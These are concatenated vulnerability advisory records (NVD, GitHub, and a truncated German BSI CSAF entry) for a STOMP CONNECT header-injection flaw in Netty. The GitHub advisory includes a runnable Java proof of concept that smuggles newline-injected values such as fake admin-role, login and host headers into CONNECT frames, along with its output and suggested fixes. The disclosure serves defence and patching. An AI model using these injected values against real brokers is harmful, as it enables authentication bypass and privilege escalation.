{
  "affected": [
    {
      "affectedData": [
        {
          "product": "netty",
          "vendor": "netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.1.136.Final"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.2.0.Final, \u003c 4.2.16.Final"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "3A15093F-C6A7-4FCF-81BA-939CD522D1DD",
              "versionEndExcluding": "4.1.136",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "4DE4BC35-4405-49B5-A2A8-A700C7F63C8B",
              "versionEndExcluding": "4.2.16",
              "versionStartIncluding": "4.2.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty\u0027s STOMP encoder (\u00a0StompSubframeEncoder\u00a0) does not escape or validate header values in \u00a0CONNECT\u00a0 and \u00a0CONNECTED\u00a0 frames, so raw newline (\u00a0\\n\u00a0) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final."
    }
  ],
  "id": "CVE-2026-59920",
  "lastModified": "2026-08-06T20:34:47.847",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-59920",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-29T19:01:13.468486Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-29T18:16:56.757",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-93"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-stomp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-stomp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:52:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-stomp) |\n| **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |\n| **Impact** | STOMP Header Injection / Authentication Bypass |\n| **CVSS 3.1 Score** | **6.5 (Medium)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | None |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` \u2014 `encodeHeaders()` method (lines 174-200)\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` \u2014 `shouldEscape()` method (lines 214-216)\n\n## 3. Vulnerability Description\n\nThe Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.\n\n### Root Cause\n\nIn `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return command != StompCommand.CONNECT \u0026\u0026 command != StompCommand.CONNECTED;\n}\n```\n\nWhen `shouldEscape()` returns `false`, header values are written without any escaping (line 195):\n\n```java\nCharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();\nByteBufUtil.writeUtf8(buf, headerValue);  // Raw \\n written to output\nbuf.writeByte(StompConstants.LF);\n```\n\nFor other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\\n` to `\\\\n`, `\\r` to `\\\\r`, `:` to `\\\\c`, and `\\\\` to `\\\\\\\\`.\n\n### STOMP Specification Context and Security Analysis\n\nThe STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.\n\n**However, \"no escaping\" does not mean \"no validation\".** The specification\u0027s intent is that CONNECT headers should not use the `\\n` \u2192 `\\\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction:\n\n- **Escaping** = converting `\\n` to `\\\\n` in the wire format (spec says: don\u0027t do this for CONNECT)\n- **Validation** = rejecting header values that contain `\\n` (spec does not prohibit this)\n\nNetty\u0027s implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed \u2014 no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\\n`.\n\nThis is analogous to Netty\u0027s own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don\u0027t need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.\n\n**Additionally**, Netty\u0027s own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice \u2014 but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.\n\n**Summary**: The vulnerability exists because:\n\n1. Header values in CONNECT frames are **neither escaped nor validated** for newlines\n2. A raw newline in a header value creates a **new header line** on the wire\n3. The STOMP broker parses each line as a separate header\n4. The fix should **validate** (reject `\\n`) rather than **escape** (convert `\\n` to `\\\\n`), maintaining spec compliance\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty\u0027s `codec-stomp` module to encode STOMP frames\n2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame\n3. The application does **not** perform its own newline sanitization\n4. The downstream STOMP broker processes the injected headers (broker-dependent)\n\n**Typical affected use cases**:\n- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials\n- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms\n- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Authentication Bypass via Header Injection\n\nAn attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:\n\n```java\nDefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\nframe.headers().set(StompHeaders.HOST, \"localhost\");\nframe.headers().set(StompHeaders.LOGIN, \"guest\");\n// Attacker injects a role header via \\n in passcode\nframe.headers().set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n```\n\n**Wire format sent to broker:**\n```\nCONNECT\nhost:localhost\nlogin:guest\npasscode:password\nadmin-role:true        \u003c-- INJECTED HEADER\n                       \u003c-- Empty line (end of headers)\n\\0\n```\n\nThe broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication.\n\n### Scenario 2: Subscription Hijacking\n\n```java\nframe.headers().set(StompHeaders.PASSCODE, \"pass\\nhost:evil-broker.com\");\n```\n\nThis overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).\n\n### Scenario 3: Header Overwrite\n\n```java\nframe.headers().set(StompHeaders.LOGIN, \"user\\nlogin:admin\");\n```\n\n**Wire format:**\n```\nCONNECT\nlogin:user\nlogin:admin            \u003c-- INJECTED, may override first\n...\n```\n\nSome brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.stomp.*;\n\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability\n *\n * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and\n * CONNECTED commands, allowing \\n injection in header values to create\n * additional STOMP headers.\n */\npublic class StompConnectHeaderInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty STOMP CONNECT Header Injection PoC ===\\n\");\n\n        testConnectHeaderInjection();\n        testConnectVsOtherCommand();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: CONNECT command header injection via \\n in value\n     */\n    static void testConnectHeaderInjection() {\n        System.out.println(\"[TEST 1] CONNECT Header Value Injection\");\n        System.out.println(\"-----------------------------------------\");\n\n        // Craft a CONNECT frame with \\n in passcode value\n        DefaultStompHeaders headers = new DefaultStompHeaders();\n        headers.set(StompHeaders.HOST, \"localhost\");\n        headers.set(StompHeaders.ACCEPT_VERSION, \"1.2\");\n        headers.set(StompHeaders.LOGIN, \"user\");\n        headers.set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n\n        DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n        frame.headers().setAll(headers);\n\n        EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n        channel.writeOutbound(frame);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input passcode: \\\"password\\\\nadmin-role:true\\\"\");\n        System.out.println();\n        System.out.println(\"Encoded STOMP frame:\");\n        System.out.println(\"---\");\n        // Show with visible control chars\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\").replace(\"\\0\", \"\\\\0\"));\n        }\n        System.out.println(\"---\");\n\n        // Check if the injected header appears as a separate line\n        boolean hasInjectedHeader = false;\n        String[] lines = encoded.split(\"\\n\");\n        for (String line : lines) {\n            if (line.startsWith(\"admin-role:\")) {\n                hasInjectedHeader = true;\n                break;\n            }\n        }\n\n        System.out.println();\n        System.out.println(\"Injected \u0027admin-role\u0027 appears as separate header: \" + hasInjectedHeader);\n        System.out.println(\"VULNERABLE: \" + (hasInjectedHeader ?\n            \"YES - Header injection in CONNECT frame!\" : \"NO\"));\n\n        // Count actual STOMP headers (lines between command and empty line)\n        int headerCount = 0;\n        boolean inHeaders = false;\n        for (String line : lines) {\n            if (line.equals(\"CONNECT\")) {\n                inHeaders = true;\n                continue;\n            }\n            if (inHeaders \u0026\u0026 line.trim().isEmpty()) break;\n            if (inHeaders \u0026\u0026 line.contains(\":\")) headerCount++;\n        }\n        System.out.println(\"Expected headers: 4 (host, accept-version, login, passcode)\");\n        System.out.println(\"Actual headers:   \" + headerCount);\n        System.out.println();\n    }\n\n    /**\n     * Test 2: Compare CONNECT (no escape) vs SEND (with escape)\n     */\n    static void testConnectVsOtherCommand() {\n        System.out.println(\"[TEST 2] CONNECT vs SEND Escape Comparison\");\n        System.out.println(\"--------------------------------------------\");\n\n        String maliciousValue = \"value\\ninjected:evil\";\n\n        // Test CONNECT (no escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.HOST, \"localhost\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"CONNECT frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Raw \\\\n in output: \" + hasRawNewline);\n            System.out.println(\"  VULNERABLE: \" + (hasRawNewline ? \"YES\" : \"NO\"));\n        }\n\n        System.out.println();\n\n        // Test SEND (with escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.DESTINATION, \"/queue/test\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"SEND frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasEscapedNewline = encoded.contains(\"value\\\\ninjected\\\\cevil\");\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Escaped \\\\n: \" + hasEscapedNewline);\n            System.out.println(\"  Raw \\\\n:     \" + hasRawNewline);\n            System.out.println(\"  SAFE: \" + (hasEscapedNewline \u0026\u0026 !hasRawNewline ? \"YES\" : \"NO\"));\n        }\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" StompConnectHeaderInjectionPoC.java\njava -cp \"$JARS:.\" StompConnectHeaderInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty STOMP CONNECT Header Injection PoC ===\n\n[TEST 1] CONNECT Header Value Injection\n-----------------------------------------\nInput passcode: \"password\\nadmin-role:true\"\n\nEncoded STOMP frame:\n---\n  CONNECT\n  host:localhost\n  accept-version:1.2\n  login:user\n  passcode:password\n  admin-role:true          \u003c-- INJECTED HEADER\n\n  \\0\n---\n\nInjected \u0027admin-role\u0027 appears as separate header: true\nVULNERABLE: YES - Header injection in CONNECT frame!\nExpected headers: 4 (host, accept-version, login, passcode)\nActual headers:   5\n\n[TEST 2] CONNECT vs SEND Escape Comparison\n--------------------------------------------\nCONNECT frame with custom=\"value\\ninjected:evil\":\n  Encoded: CONNECT\\nhost:localhost\\ncustom:value\\ninjected:evil\\n\\n\\0\n  Raw \\n in output: true\n  VULNERABLE: YES\n\nSEND frame with custom=\"value\\ninjected:evil\":\n  Encoded: SEND\\ndestination:/queue/test\\ncustom:value\\ninjected\\cevil\\n\\n\\0\n  Escaped \\n: true\n  Raw \\n:     false\n  SAFE: YES\n\n\n=== PoC Complete ===\n```\n\n### Key Observation\n\nThe PoC demonstrates a clear inconsistency:\n- **CONNECT** command: `\\n` is written **raw** \u2192 header injection succeeds\n- **SEND** command: `\\n` is escaped to `\\\\n` \u2192 header injection prevented\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Authentication** | Injected headers may bypass broker authentication logic |\n| **Authorization** | Role escalation via injected role/permission headers |\n| **Integrity** | Modification of connection parameters (host, version, etc.) |\n| **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |\n\n### Affected Brokers\n\nThis vulnerability affects any application using Netty\u0027s STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker\u0027s handling of unexpected headers:\n\n- **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins\n- **ActiveMQ**: May process custom headers for internal routing\n- **Custom Brokers**: Most likely to be affected if they trust all received headers\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate CONNECT Header Values (Recommended)\n\nAdd newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:\n\n```java\nprivate static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {\n    StompCommand command = frame.command();\n    ByteBufUtil.writeUtf8(buf, command.toString());\n    buf.writeByte(StompConstants.LF);\n\n    boolean shouldEscape = shouldEscape(command);\n    for (Entry\u003cCharSequence, CharSequence\u003e entry : frame.headers()) {\n        CharSequence headerKey = entry.getKey();\n        CharSequence headerValue = entry.getValue();\n\n        if (shouldEscape) {\n            headerKey = escape(headerKey);\n            headerValue = escape(headerValue);\n        } else {\n            // For CONNECT/CONNECTED: don\u0027t escape but REJECT newlines\n            validateNoNewlines(headerKey, \"header name\");\n            validateNoNewlines(headerValue, \"header value\");\n        }\n\n        ByteBufUtil.writeUtf8(buf, headerKey);\n        buf.writeByte(StompConstants.COLON);\n        ByteBufUtil.writeUtf8(buf, headerValue);\n        buf.writeByte(StompConstants.LF);\n    }\n    buf.writeByte(StompConstants.LF);\n}\n\nprivate static void validateNoNewlines(CharSequence value, String type) {\n    for (int i = 0; i \u003c value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == \u0027\\n\u0027 || c == \u0027\\r\u0027) {\n            throw new IllegalArgumentException(\n                \"STOMP CONNECT \" + type + \" contains illegal newline at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Apply Escaping to All Commands\n\nSimply remove the CONNECT/CONNECTED exception:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return true; // Always escape\n}\n```\n\nNote: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.\n\n## 9. References\n\n- [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html)\n- [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
  "id": "GHSA-3g8r-4pfx-jmfh",
  "modified": "2026-07-22T21:52:28Z",
  "published": "2026-07-22T21:52:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: STOMP CONNECT Frame Header Injection in Netty"
}

{
  "document": {
    "aggregate_severity": {
      "text": "hoch"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework f\u00fcr die schnelle Entwicklung von wartbaren, hochleistungsf\u00e4higen Protokollservern und -clients.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitspr\u00fcfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatspr\u00fcfungen zu unterlaufen sowie einen Denial of Service zu verursachen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- UNIX",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-2356 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-2356.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-2356 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2356"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-4qhr-g3c6-fcfx vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-4qhr-g3c6-fcfx"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-272m-gcwp-mpwg vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-272m-gcwp-mpwg"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-3g8r-4pfx-jmfh vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-4mp9-239f-g9hg vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-q4f6-jm68-57ww vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-c69g-56f8-xwqj vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-c69g-56f8-xwqj"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-558v-64gr-wgg4 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-6jqx-86gh-f27w vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-93wv-jw9v-4972 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-g7hg-vrcf-mvmr vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-g7hg-vrcf-mvmr"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-gcjf-9mgh-3p7g vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-hpcc-26xq-25fv vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-jppx-w49h-x2qq vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-mvh2-crg5-v77c vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-q6cq-mhr2-jmr5 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-vhch-2wf3-m8rp vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-wc96-39fc-566f vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
      },
      {
        "category": "external",
        "summary": "Red Hat Security Advisory RHSA-2026:48118 vom 2026-07-29",
        "url": "https://access.redhat.com/errata/RHSA-2026:48118"
      },
      {
        "category": "external",
        "summary": "Red Hat Security Advisory RHSA-2026:47189 vom 2026-07-29",
        "url": "https://access.redhat.com/errata/RHSA-2026:47189"
      },
      {
        "category": "external",
        "summary": "Red Hat Security Advisory RHSA-2026:47172 vom 2026-07-30",
        "url": "https://access.redhat.com/errata/RHSA-2026:47172"
      },
      {
        "category": "external",
        "summary": "SUSE Security Update SUSE-SU-2026:3482-1 vom 2026-08-04",
        "url": "https://lists.suse.com/pipermail/sle-security-updates/2026-August/028141.html"
      }
    ],
    "source_lang": "en-US",
    "title": "Netty: Mehrere Schwachstellen",
    "tracking": {
      "current_release_date": "2026-08-04T22:00:00.000+00:00",
      "generator": {
        "date": "2026-08-05T09:03:24.793+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.6.0"
        }
      },
      "id": "WID-SEC-W-2026-2356",
      "initial_release_date": "2026-07-14T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-07-14T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2026-07-19T22:00:00.000+00:00",
          "number": "2",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-45316"
        },
        {
          "date": "2026-07-20T22:00:00.000+00:00",
          "number": "3",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-46133, EUVD-2026-46132"
        },
        {
          "date": "2026-07-21T22:00:00.000+00:00",
          "number": "4",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-46452, EUVD-2026-46438, EUVD-2026-47564, EUVD-2026-47579, EUVD-2026-47582, EUVD-2026-47581"
        },
        {
          "date": "2026-07-28T22:00:00.000+00:00",
          "number": "5",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-50091, EUVD-2026-50090, EUVD-2026-50089"
        },
        {
          "date": "2026-07-29T22:00:00.000+00:00",
          "number": "6",
          "summary": "Neue Updates von Red Hat und European Union Vulnerability Database aufgenommen"
        },
        {
          "date": "2026-08-04T22:00:00.000+00:00",
          "number": "7",
          "summary": "Neue Updates von SUSE aufgenommen"
        }
      ],
      "status": "final",
      "version": "7"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c4.2.16",
                "product": {
                  "name": "Open Source Netty \u003c4.2.16",
                  "product_id": "T056598"
                }
              },
              {
                "category": "product_version",
                "name": "4.2.16",
                "product": {
                  "name": "Open Source Netty 4.2.16",
                  "product_id": "T056598-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:netty:netty:4.2.16"
                  }
                }
              },
              {
